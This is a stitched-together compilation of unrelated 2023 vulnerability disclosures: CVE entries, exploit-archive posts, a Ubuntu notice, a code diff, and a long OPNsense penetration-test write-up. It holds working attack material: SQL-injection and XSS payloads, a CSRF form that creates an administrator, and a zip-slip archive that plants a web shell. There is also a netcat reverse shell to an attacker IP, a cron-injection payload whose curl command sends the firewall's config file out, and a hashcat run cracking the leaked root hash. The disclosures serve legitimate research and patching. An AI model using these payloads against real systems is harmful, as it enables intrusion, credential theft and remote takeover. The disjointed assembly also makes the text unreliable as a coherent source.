iCMS v7.0.16 was discovered to contain a SQL injection vulnerability via the where parameter at admincp.php.

\[CVE-ID\]

CVE-2023-39805

\------------------------------------------

\[Description\]

iCMS v7.0.16 was discovered to contain a SQL injection vulnerability

via the where parameter at admincp.php.

\------------------------------------------

\[Vulnerability Type\]

SQL Injection

\------------------------------------------

\[Vendor of Product\]

icmsdev

\------------------------------------------

\[Affected Product Code Base\]

icms V7.0.16 - V7.0.16

\------------------------------------------

\[Affected Component\]

icms<=V7.0.16

\------------------------------------------

\[Attack Type\]

Remote

\------------------------------------------

\[Impact Information Disclosure\]

true

\------------------------------------------

\[Attack Vectors\]

POST /icms/admincp.php?app=database&do=query&frame=iPHP&CSRF\_TOKEN=fe334f6fgxSmDHDpZeekNtohnt-hBYXBAOJkd5xXq\_XXz5vaYOwEoS\_nJrEdZo26EJVC0fA0SkLpfBFFzcE4ly18oxAoBMoCTr22qJ8 HTTP/1.1

Cookie: iCMS\_ADMIN\_AUTH=23f0a4caAp2o-gYF7T1PFGTY0fdLZd43ZdGHuQY1NnyOjOUDHZxyC\_CewgaX5uR1iNHfEz\_Pj20qTaPC\_NZlv9CKoxpPtJ80fBz7nbiMensa6tkGlbYrpw; XDEBUG\_SESSION=11807

field=tkd&pattern=123123&replacement=1231321&where=where+id=1+AND+(SELECT+\*+FROM+(SELECT(SLEEP(10)))testsql)

\------------------------------------------

\[Has vendor confirmed or acknowledged the vulnerability?\]

true

\------------------------------------------

\[Discoverer\]

chubby

\------------------------------------------

\[Reference\]

http://icms.com

http://icmsdev.com

CVE-2023-39805: CVE-2023-39805

Ubuntu Security Notice 6281-1 - Alvaro Munoz discovered that Velocity Engine incorrectly handled certain inputs. If a user or an automated system were tricked into opening a specially crafted input file, a remote attacker could possibly use this issue to execute arbitrary code.

==========================================================================  
Ubuntu Security Notice USN-6281-1  
August 10, 2023

velocity vulnerability  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 20.04 LTS  
- Ubuntu 18.04 LTS (Available with Ubuntu Pro)  
- Ubuntu 16.04 LTS (Available with Ubuntu Pro)

Summary:

Velocity Engine could be made to run arbitrary code if it opened a specially  
crafted file.

Software Description:  
- velocity: A general purpose template engine written in Java

Details:

Alvaro Munoz discovered that Velocity Engine incorrectly handled certain  
inputs. If a user or an automated system were tricked into opening a specially  
crafted input file, a remote attacker could possibly use this issue to execute  
arbitrary code.

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 20.04 LTS:  
   velocity                        1.7-5+deb9u1build0.20.04.1

Ubuntu 18.04 LTS (Available with Ubuntu Pro):  
   velocity                        1.7-5ubuntu0.18.04.1~esm1

Ubuntu 16.04 LTS (Available with Ubuntu Pro):  
   velocity                        1.7-4ubuntu0.1~esm1

In general, a standard system update will make all the necessary changes.

References:  
   https://ubuntu.com/security/notices/USN-6281-1  
   CVE-2020-13936

Package Information:  
   https://launchpad.net/ubuntu/+source/velocity/1.7-5+deb9u1build0.20.04.1

Ubuntu Security Notice USN-6281-1

DriverPack Solution CMS version 17.11.108 suffers from a cross site scripting vulnerability.

**DriverPack Solution CMS 17.11.108 Cross Site Scripting**

Posted Aug 10, 2023

Authored by indoushka

DriverPack Solution CMS version 17.11.108 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | e6bbd0f2f85c5a85db0341ad4fa0a655765bd7b91a5cc41a6d0b07469ab56025

Download | Favorite | View

**DriverPack Solution CMS 17.11.108 Cross Site Scripting**

    ====================================================================================================================================| # Title     : DriverPack Solution CMS v 17.11.108 Xss Vulnerability                                                              || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : https://driverpack.io/                                                                                             |  | # Dork      : n/a                                                                                                                |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] Use xss payload : _%3C/script%3E%3Cscript%3Eprompt(/indoushka/)%3C/script%3E&password=zeb[+] http://target_site/en?email=_%3C/script%3E%3Cscript%3Eprompt(/indoushka/)%3C/script%3E&password=zebGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,928)
*   Arbitrary (16,193)
*   BBS (2,859)
*   Bypass (1,740)
*   CGI (1,026)
*   Code Execution (7,275)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,344)
*   DoS (23,416)
*   Encryption (2,370)
*   Exploit (51,848)
*   File Inclusion (4,221)
*   File Upload (973)
*   Firewall (821)
*   Info Disclosure (2,768)
*   Intrusion Detection (892)
*   Java (3,043)
*   JavaScript (858)
*   Kernel (6,670)
*   Local (14,447)
*   Magazine (586)
*   Overflow (12,690)
*   Perl (1,423)
*   PHP (5,144)
*   Proof of Concept (2,338)
*   Protocol (3,601)
*   Python (1,535)
*   Remote (30,759)
*   Root (3,580)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,639)
*   Security Tool (7,886)
*   Shell (3,180)
*   Shellcode (1,214)
*   Sniffer (894)
*   Spoof (2,206)
*   SQL Injection (16,364)
*   TCP (2,406)
*   Trojan (687)
*   UDP (893)
*   Virus (664)
*   Vulnerability (31,767)
*   Web (9,662)
*   Whitepaper (3,749)
*   x86 (962)
*   XSS (17,930)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,922)
*   Debian (6,810)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,423)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (485)
*   RedHat (13,711)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,805)
*   UNIX (9,289)
*   UnixWare (186)
*   Windows (6,572)
*   Other

DriverPack Solution CMS 17.11.108 Cross Site Scripting

Desenvolvido C3iM CMS version 2.0 suffers from a cross site scripting vulnerability.

**Desenvolvido C3iM CMS 2.0 Cross Site Scripting**

Posted Aug 10, 2023

Authored by indoushka

Desenvolvido C3iM CMS version 2.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | ee75f970e155669b73118332fbaa7e9c33f33900005bfc151805b9ba771cd102

Download | Favorite | View

**Desenvolvido C3iM CMS 2.0 Cross Site Scripting**

    ====================================================================================================================================| # Title     : Desenvolvido C3iM CMS v2.0 XSS Vulnerability                                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            | | # Vendor    : http://c3im.pt/                                                                                                    |  | # Dork      : intext:''Desenvolvido C3iM'' site:pt                                                                               |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : <marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+] http://127.0.0.1/conteudo.php?id=%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,928)
*   Arbitrary (16,193)
*   BBS (2,859)
*   Bypass (1,740)
*   CGI (1,026)
*   Code Execution (7,275)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,344)
*   DoS (23,416)
*   Encryption (2,370)
*   Exploit (51,848)
*   File Inclusion (4,221)
*   File Upload (973)
*   Firewall (821)
*   Info Disclosure (2,768)
*   Intrusion Detection (892)
*   Java (3,043)
*   JavaScript (858)
*   Kernel (6,670)
*   Local (14,447)
*   Magazine (586)
*   Overflow (12,690)
*   Perl (1,423)
*   PHP (5,144)
*   Proof of Concept (2,338)
*   Protocol (3,601)
*   Python (1,535)
*   Remote (30,759)
*   Root (3,580)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,639)
*   Security Tool (7,886)
*   Shell (3,180)
*   Shellcode (1,214)
*   Sniffer (894)
*   Spoof (2,206)
*   SQL Injection (16,364)
*   TCP (2,406)
*   Trojan (687)
*   UDP (893)
*   Virus (664)
*   Vulnerability (31,767)
*   Web (9,662)
*   Whitepaper (3,749)
*   x86 (962)
*   XSS (17,930)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,922)
*   Debian (6,810)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,423)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (485)
*   RedHat (13,711)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,805)
*   UNIX (9,289)
*   UnixWare (186)
*   Windows (6,572)
*   Other

Desenvolvido C3iM CMS 2.0 Cross Site Scripting

Deprixa version 3.2.5 suffers from a cross site request forgery vulnerability.

====================================================================================================================================  
| # Title     : Deprixa 3.2.5 CSRF Vulnerability                                                                                   |  
| # Author    : indoushka                                                                                                          |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 103.0(64-bit)                                              |   
| # Vendor    : https://themes-dl.com/nulled-courier-deprixa-pro-integrated-web-system-v3-2-5-free-download/                       |    
====================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code create a new admin .

[+] Go to the line 11.

[+] Set the target site link Save changes and apply . 

[+] infected file : /dashboard/settings/addusersadmin/agregar.php.

   
          <div class="modal fade" id="nuevo" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">  
            <div class="modal-dialog">  
            <div class="modal-content">  
              <div class="modal-header">  
              <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">&times;</span><span class="sr-only">Close</span></button>  
              <h4 class="modal-title" id="myModalLabel"><i class="fa fa-user-plus"></i>New Administrator</h4>  
              </div>  
              <div class="modal-body">  
                
                <form action="https://127.0.0.1/deprixalogisticsonline/dashboard/settings/addusersadmin/agregar.php"  data-parsley-validate novalidate method="post" class="form-horizontal" enctype="multipart/form-data">  
                  <div class="form-group " id="gnombrepa">  
                  <label for="off_name" class="col-sm-2 control-label"></label>  
                  <div class="col-sm-10">  
                    <input type="text" class="form-control off_name" parsley-trigger="change" required name="name_parson"  placeholder="Administrator Name">  
                  </div>  
                  </div>  
                  <div class="form-group" id="gapellido">  
                  <label for="email" class="col-sm-2 control-label">Email</label>  
                  <div class="col-sm-5">  
                    <input type="text" class="form-control email" name="email"  id="id_mail" placeholder="demo@demo.com" required onKeyUp="javascript:validateMail('id_mail')">  
                    <strong><span id="emailOK"></span></strong>  
                  <p class="error"></p>  
                  </div>  
                  <div class="col-sm-5">  
                    <input class="form-control phone" name="phone" parsley-trigger="change" required placeholder="Phone">                                        
                  </div>  
                  </div>  
                  <div class="form-group" id="gemail">  
                  <label for="office" class="col-sm-2 control-label">Office</label>  
                  <div class="col-sm-5">  
                    <input type="text" class="form-control office" parsley-trigger="change" required name="office"  placeholder="Name of the Office">  
                  </div>  
                  <div class="col-sm-5">  
                  <select type="text" class="form-control role" name="role" >  
                    <option value="Administrator">Administrator</option>                        
                  </select>  
                  </div>  
                  </div>  
                  <div class="form-group " id="gnombre">  
                  <label for="off_name" class="col-sm-2 control-label">User</label>  
                  <div class="col-sm-10">  
                    <input type="text" class="form-control off_name" parsley-trigger="change" required name="name"  placeholder="Username">  
                  </div>  
                  </div>  
                  <div class="form-group" id="gpassword">  
                  <label for="pwd" class="col-sm-2 control-label">Password</label>  
                  <div class="col-sm-10">  
                    <input type="text" class="form-control pwd" parsley-trigger="change" required name="pwd"  placeholder="Password">  
                  </div>  
                  </div>  
                  </br></br>  
                  <div class="col-sm-offset-2 col-sm-10">  
                    <div class="checkbox">  
                      <label class="i-checks i-checks-sm">  
                      <input type="checkbox" name="estado" value="1" onclick="return false" checked >  
                      <i></i>  
                      State                      </label>  
                    </div>  
                    <div class="checkbox">  
                      <label class="i-checks i-checks-sm">  
                      <input type="checkbox" name="type" value="a" onclick="return false" checked >  
                      <i></i>  
                      User Type                      </label>  
                    </div>  
                  </div>

                                      
                </div>  
                 </br></br>  
                <div class="modal-footer">  
                  <button type="button" class="btn btn-default" data-dismiss="modal"><i class="fa fa-times"></i>  
                    Close</button>  
                  <input class="btn btn-success" name="Submit" type="submit"  id="submit" value="Save">  
                </div>  
              </form>                                
            </div>  
            </div>  
          </div>

Greetings to :=========================================================================================================================  
jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |  
=======================================================================================================================================

Deprixa 3.2.5 Cross Site Request Forgery

An issue was discovered in LWsystems Benno MailArchiv 2.10.1. Attackers can cause XSS via JavaScript content to a mailbox.

August 9, 2023 Sebastian

The Benno MailArchiv Web-App is vulnerable to cross-site-scripting if benno-rest-lib / benno-rest prior 2.10.1 is used.

To exploit the vulnerability the attacker sends an email containing malicious javascript to an mailbox which is archived by Benno MailArchiv. When a user logs into the Benno Web-App and views the malicious e-mail, the javascript is executed.

echo '<script>alert(1)</script>' | mail -s "$(echo -e "This is the subject\\nContent-Type: text/html")" victim@domain.tld

CVE-2023-38347: XSS in Benno MailArchiv Web-App (benno-rest-lib – Sebastian's Blog

A command injection vulnerability in the component /api/cron/settings/setJob/ of OPNsense before 23.7 allows attackers to execute arbitrary system commands.

Recently we performed a non-profit penetration test of OPNsense - an open source, FreeBSD based firewall and routing platform with ~51.47K active instances according to censys.io. The assessment was focused on web GUI and API as well as some parts of the system backend. Work has been carried out in a period from June 12 to June 26, 2023. In total, around 120 hours were committed to the project.

During the test we managed to find many interesting and varied vulnerabilities, e.g., Cross-Site Scripting, Cross-Site Request Forgery, Open Redirect, Insecure Permissions, OS Command Injection and Zip-Slip which eventually leads to root shell. You can find all of them in the Full PDF Report which is also a great example of what our commercial clients receive.

We would like to show you three scenarios of how vulnerabilities that we found could be chained together to perform attacks on the OPNsense instance.

**Scenario 1 - Reflected XSS leads to root RCE via Zip-Slip**

In this scenario we used Reflected Cross-Site Scripting vulnerability (LT-0017) to deliver our payload to the administrator. Sending GET request to https://opnsense/ui/cron/item/open/0'+alert(window.origin)+' would result in the following response:

    <!doctype html>
    <html lang="en-US" class="no-js">
      <head>
    [...]
    <script>
    [...]
    	openDialog('0'+alert(window.origin)+'');
    [...]

After an administrator clicks on our link, we need to send six requests from their browser. First two requests create new Captive Portal template, another three enable Captive Portal with the selected template, and the last one spawns netcat reverse shell with our brand-new luta.php webshell.

**Example Javascript payload:**

    let requestData = {"name":"zipslip","content":"UEsDBAoAAAAAAJOO5VYdoS5KEAAAABAAAAA3ABwALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3d3dy9sdXRhLnBocFVUCQADxZGlZPyPpWR1eAsAAQQAAAAABAAAAAA8Pz1gJF9HRVRbeF1gPz4KUEsDBAoAAAAAAEGO5VYAAAAAAAAAAAAAAAAEABwAY3NzL1VUCQADKpGlZCuRpWR1eAsAAQToAwAABOgDAABQSwMEFAAAAAgAMn7lVqx0FrPKAAAAvQEAAAwAHABleGNsdWRlLmxpc3RVVAkAA/B0pWSLkaVkdXgLAAEE6AMAAAToAwAAjY8xbsMwDEV3nYJAhk5RgN6gd+gFZJeSmVKiQdJRffvKKbpk8sjPx/8/L/C5kAGTOczSPFEz8AUhE2NLFY8pOdS0QxOHCUEeqF3JHRtM+xPeDBX6MoRZMTm1AvNmLhUc68rJ0WK4wAcz0FAMqI27/9wu7e3pPC4Uv/6WeNTJVOJP5SNGNoWso1AX/Q6z2W0ScXNNaxxTrGl9USu1YxPyeMtuhfd1oeFp1yVx5tHRropl46QRxc9g9ihnMPd8BuuST3Pv4f762t3CL1BLAwQKAAAAAABEjuVWAAAAAAAAAAAAAAAABgAcAGZvbnRzL1VUCQADL5GlZDCRpWR1eAsAAQToAwAABOgDAABQSwMECgAAAAAASo7lVgAAAAAAAAAAAAAAAAcAHABpbWFnZXMvVVQJAAM8kaVkQZGlZHV4CwABBOgDAAAE6AMAAFBLAwQKAAAAAABTjuVW5yL1pwQAAAAEAAAACgAcAGluZGV4Lmh0bWxVVAkAA06RpWSLkaVkdXgLAAEE6AMAAAToAwAAcG9jClBLAwQKAAAAAABPjuVWAAAAAAAAAAAAAAAAAwAcAGpzL1VUCQADRZGlZEaRpWR1eAsAAQToAwAABOgDAABQSwECHgMKAAAAAACTjuVWHaEuShAAAAAQAAAANwAYAAAAAAABAAAApIEAAAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3d3dy9sdXRhLnBocFVUBQADxZGlZHV4CwABBAAAAAAEAAAAAFBLAQIeAwoAAAAAAEGO5VYAAAAAAAAAAAAAAAAEABgAAAAAAAAAEADtQYEAAABjc3MvVVQFAAMqkaVkdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAMn7lVqx0FrPKAAAAvQEAAAwAGAAAAAAAAQAAAICBvwAAAGV4Y2x1ZGUubGlzdFVUBQAD8HSlZHV4CwABBOgDAAAE6AMAAFBLAQIeAwoAAAAAAESO5VYAAAAAAAAAAAAAAAAGABgAAAAAAAAAEADtQc8BAABmb250cy9VVAUAAy+RpWR1eAsAAQToAwAABOgDAABQSwECHgMKAAAAAABKjuVWAAAAAAAAAAAAAAAABwAYAAAAAAAAABAA7UEPAgAAaW1hZ2VzL1VUBQADPJGlZHV4CwABBOgDAAAE6AMAAFBLAQIeAwoAAAAAAFOO5VbnIvWnBAAAAAQAAAAKABgAAAAAAAEAAACAgVACAABpbmRleC5odG1sVVQFAANOkaVkdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAT47lVgAAAAAAAAAAAAAAAAMAGAAAAAAAAAAQAO1BmAIAAGpzL1VUBQADRZGlZHV4CwABBOgDAAAE6AMAAFBLBQYAAAAABwAHAEsCAADVAgAAAAA="}
    ajaxCall("/api/captiveportal/service/saveTemplate", requestData, () => {
    	ajaxCall("/api/captiveportal/service/reconfigure", {}, () => {
    		ajaxCall("/api/captiveportal/service/searchTemplates", {"current":1,"rowCount":7,"sort":{},"searchPhrase":"zipslip"}, (data, status) => {
    			let requestData = {"zone":{"enabled":"1","interfaces":"lan","authservers":"Local Database","alwaysSendAccountingReqs":"0","authEnforceGroup":"","idletimeout":"0","hardtimeout":"0","concurrentlogins":"1","certificate":"","servername":"","allowedAddresses":"","allowedMACAddresses":"","transparentHTTPProxy":"0","transparentHTTPSProxy":"0","extendedPreAuthData":"0","template":data.rows[0].uuid,"description":"poc"}}
    			ajaxCall("/api/captiveportal/settings/addZone/", requestData, () => {
    				ajaxCall("/api/captiveportal/service/reconfigure", {}, () => {
    					ajaxCall("/luta.php?x=rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 192.168.1.118 1337 >/tmp/f", null, null)
    				})
    			})
    		})
    	})
    })

Above script can be base64 encoded and put inside the URL:

    https://opnsense/ui/cron/item/open/0'+eval(atob('bGV0IHJlcXVlc3REYXRhID0geyJuYW1[...]gkJCQl9KQoJCQl9KQoJCX0pCgl9KQp9KQo='))+'

What’s interesting is that the application accepts templates in ZIP format, and then it extracts all of their contents to the template directory. However, the way in which the application extracts the files makes it vulnerable to the Zip-Slip attack (LT-0014):

    # source: src/opnsense/scripts/OPNsense/CaptivePortal/overlay_template.py
    with zipfile.ZipFile(input_data, mode='r', compression=zipfile.ZIP_DEFLATED) as zf_in:
        for zf_info in zf_in.infolist():
            if zf_info.filename[-1] != '/':
                target_filename = '%s%s' % (target_directory, zf_info.filename)
                file_target_directory = '/'.join(target_filename.split('/')[:-1])
                if not os.path.isdir(file_target_directory):
                    os.makedirs(file_target_directory)
                with open(target_filename, 'wb') as f_out:
                    f_out.write(zf_in.read(zf_info.filename))
                os.chmod(target_filename, 0o444)

By using ../ sequences it is possible to extract files to other directories. This allows us to extract PHP file to the web root - /usr/local/www.

Our ZIP archive looks like this, where luta.php is a simple PHP web shell:

    Archive:  zipslip.zip
      Length      Date    Time    Name
    ---------  ---------- -----   ----
           16  2023-07-05 17:52   ../../../../../../../../../../../usr/local/www/luta.php
            0  2023-07-05 17:50   css/
          445  2023-07-05 15:49   exclude.list
            0  2023-07-05 17:50   fonts/
            0  2023-07-05 17:50   images/
            4  2023-07-05 17:50   index.html
            0  2023-07-05 17:50   js/
    ---------                     -------
          465                     7 files

Since the PHP process is being ran as a root user, the shell is granted root privileges as well.

**Proof of Concept Video:****Scenario 2 - Reflected XSS -> OS Command Injection -> root password retrieval via config.xml insecure permissions**

In the second scenario the payload is also delivered through Reflected XSS, but this time the vulnerability is introduced in Certificates tab (LT-0002). Sending request to https://opnsense/system_certmanager.php?act=%22%3E%3Csvg/onload=alert(window.origin)%3E&id=0 results in the following response body:

    <!doctype html>
    <html lang="en-US" class="no-js">
    [...]
    <form method="post" name="iform" id="iform"><input type="hidden" name="N3p4b1ZZUXpTc2VFWmFaLzRHQW5Ydz09" value="VUlyWVI0bWkyYkdjWDNvVGprQ1F2UT09" autocomplete="new-password" />
      <input type="hidden" name="id" id="id" value="0"/>
      <input type="hidden" name="act" id="action" value=""><svg/onload=alert(window.origin)>"/>
    </form>
    [...]

We want to send request to /api/cron/settings/addJob/ in order to add new cron job. The application allows only specific commands to be executed via cron, however, by including single quotes (') and newline character (\n) in the command parameters, we can define completely separate cron job and execute any command as nobody user (LT-0016).

**Example Javascript payload:**

    let requestData = {"job":{"enabled":"1","minutes":"*","hours":"*","days":"*","months":"*","weekdays":"*","command":"firmware auto-update","parameters":"'\n*\t*\t*\t*\t* curl -F config=@/conf/config.xml 192.168.1.118:1337 #'","description":"poc2"}}
    setTimeout(() => {
    	ajaxCall("/api/cron/settings/addJob/", requestData, () => {
    		ajaxCall("/api/cron/service/reconfigure", {}, () => {
    		})
    	})
    }, 1000)

…and turned into an URL:

    https://opnsense/system_certmanager.php?act=%22%3E%3Csvg/onload=eval(atob(%27bGV0IHJlcXVlc3REYXRh[...]HsKCQl9KQoJfSkKfSwgMTAwMCk=%27))%3E&id=0

After the administrator opens the link, we can see our command added to the crontab:

    root@OPNsense:~ # cat /var/cron/tabs/nobody
    # DO NOT EDIT THIS FILE -- OPNsense auto-generated file
    #
    # User-defined crontab files can be loaded via /etc/cron.d
    # or /usr/local/etc/cron.d and follow the same format as
    # /etc/crontab, see the crontab(5) manual page.
    SHELL=/bin/sh
    PATH=/etc:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
    #minute	hour	mday	month	wday	command
    # Origin/Description: cron/poc2
    *	*	*	*	*	/usr/local/sbin/configctl -d firmware auto-update '
    *	*	*	*	* curl -F config=@/conf/config.xml 192.168.1.118:1337 #'

In the above payload we are adding next vulnerability to the chain - even though we only have privileges of user nobody, insecure permissions (LT-0003) grant us read access to the configuration file:

    root@OPNsense:/conf # ls -la
    total 112
    drwxr-xr-x   4 root  wheel    512 Jul 31 12:41 .
    drwxr-xr-x  21 root  wheel   1024 Jul 31 12:44 ..
    drwxr-xr-x   2 root  wheel   4096 Jul 31 14:13 backup
    -rw-r-----   1 root  wheel  49152 Jul 31 12:41 captiveportal.sqlite
    -rw-r--r--   1 root  wheel  39796 Jul 31 14:13 config.xml
    -rw-r-----   1 root  wheel    383 Jul 31 12:41 dhcpleases.tgz
    -rw-r-----   1 root  wheel     40 Jul 31 14:13 event_config_changed.json
    drwxr-xr-x   2 root  wheel    512 Jul  5 12:40 sshd

Soon config.xml is sent to our listener:

    feliks@debian ~> nc -lkp 1337
    POST / HTTP/1.1
    Host: 192.168.1.118:1337
    User-Agent: curl/7.87.0
    Accept: */*
    Content-Length: 39119
    Content-Type: multipart/form-data; boundary=------------------------06c60d07c2a2ae1e
    
    --------------------------06c60d07c2a2ae1e
    Content-Disposition: form-data; name="config"; filename="config.xml"
    Content-Type: application/xml
    
    <?xml version="1.0"?>
    <opnsense>
      <theme>opnsense</theme>
      <sysctl>
    [...]
        <user>
          <name>root</name>
          <descr>System Administrator</descr>
          <scope>system</scope>
          <groupname>admins</groupname>
          <password>$2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY/j21TwBfS</password>
          <uid>0</uid>
        </user>
    [...]

Congratulations, it’s a bcrypt hash of a root password!

Finally, we feed it to hashcat:

    feliks@debian ~> hashcat -m 3200 '$2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY/j21TwBfS' -a 0 wordlist.txt
    hashcat (v6.1.1) starting...
    
    [...]
    
    $2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY/j21TwBfS:opnsense
                                                     
    Session..........: hashcat
    Status...........: Cracked
    Hash.Name........: bcrypt $2*$, Blowfish (Unix)
    Hash.Target......: $2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY...1TwBfS
    Time.Started.....: Mon Jul 31 17:04:47 2023 (0 secs)
    Time.Estimated...: Mon Jul 31 17:04:47 2023 (0 secs)
    Guess.Base.......: File (wordlist.txt)
    Guess.Queue......: 1/1 (100.00%)
    Speed.#1.........:       10 H/s (3.82ms) @ Accel:2 Loops:64 Thr:1 Vec:8
    Recovered........: 1/1 (100.00%) Digests
    Progress.........: 6/6 (100.00%)
    Rejected.........: 0/6 (0.00%)
    Restore.Point....: 0/6 (0.00%)
    Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:960-1024
    Candidates.#1....: luta -> opnsense
    
    Started: Mon Jul 31 17:04:13 2023
    Stopped: Mon Jul 31 17:04:48 2023

**Scenario 3 - CSRF that halts the firewall**

This one is quite straightforward. Administrator visits our website, from which we redirect them to https://opnsense/api/core/system/halt, to turn off the instance. Normally, this request is made using POST method and requires CSRF token, but during the test it turned out that the app accepts GET request as well, and in such case doesn’t require CSRF token.

As a result, the OPNsense instance turns off.

**Proof of Concept Video:****Closing thoughts**

We reported found vulnerabilities to OPNsense maintainers and we really want to thank them for a great response. They handled the whole process very professionally, quickly prepared effective patches for many vulnerabilities and included them in the newest release - OPNsense 23.7 “Restless Roadrunner”. Also, they provided us with reasoning behind decision to not patch some of them right now.

We are very happy about the outcome of the tests and can’t wait to start another project like this soon. Stay tuned!

**Full list of found vulnerabilities**

1.  LT-0001: Using GET method to modify application state
2.  LT-0002: Reflected Cross-Site Scripting - Certificates - act
3.  LT-0003: Insecure directory permissions - /conf/
4.  LT-0004: Reflected Cross-Site Scripting - Log Files - /ui/diagnostics/log/core/
5.  LT-0005: Open Redirect - Login
6.  LT-0006: Services run as root
7.  LT-0007: Insecure temporary file storage - /tmp/ usage
8.  LT-0008: Command injection - Backups - diag\_backup.php
9.  LT-0009: Custom message injection - system\_usermanager.php
10.  LT-0010: Improper error handling
11.  LT-0011: Lack of input sanitization - crash\_reporter.php
12.  LT-0013: Insecure permissions - configd.socket
13.  LT-0014: Zip-slip in Captive Portal template upload leads to Remote Code Execution
14.  LT-0015: Verbose error messages
15.  LT-0016: Command injection - Cron - /api/cron/settings/setJob/
16.  LT-0017: Reflected Cross-Site Scripting - Cron - /ui/cron/item/open/

**Timeline**

*   27.06.2023 Vulnerabilities reported to OPNsense
*   27.06.2023 Report acknowledged
*   28.06 - 05.07.2023 Vendor fixed the vulnerabilities
*   12.07 Retest
*   17.07.2023 End of vulnerabilities disclosure process - reported issues are fixed or otherwise handled
*   31.07.2023 OPNsense 23.7 Released

CVE-2023-39008: LogicalTrust - [EN] A-Z: OPNsense - Penetration Test

A reflected cross-site scripting (XSS) vulnerability in the component /ui/diagnostics/log/core/ of OPNsense before 23.7 allows attackers to inject arbitrary JavaScript via the URL path.

Expand Up

@@ -38,8 +38,8 @@ class LogController extends IndexController

public function renderPage($module, $scope)

{

$this\->view\->pick('OPNsense/Diagnostics/log');

$this\->view\->module = $module;

$this\->view\->scope = $scope;

$this\->view\->module = htmlspecialchars($module, ENT\_QUOTES | ENT\_HTML401);

$this\->view\->scope = htmlspecialchars($scope, ENT\_QUOTES | ENT\_HTML401);

$this\->view\->service = '';

$this\->view\->default\_log\_severity = 'Warning';

  

Expand Down

CVE-2023-39000: System:Logging - Sanitize user input. An alfanum filter might be poss… · opnsense/core@d1f350c

Metabase versions before 0.46.6.1 contain a flaw where the secret setup-token is accessible even after the setup process has been completed. With this token a user is able to submit the setup functionality to create a new database. When creating a new database, an H2 database string is created with a TRIGGER that allows for code execution. We use a sample database for our connection string to prevent corrupting real databases. Successfully tested against Metabase 0.46.6.

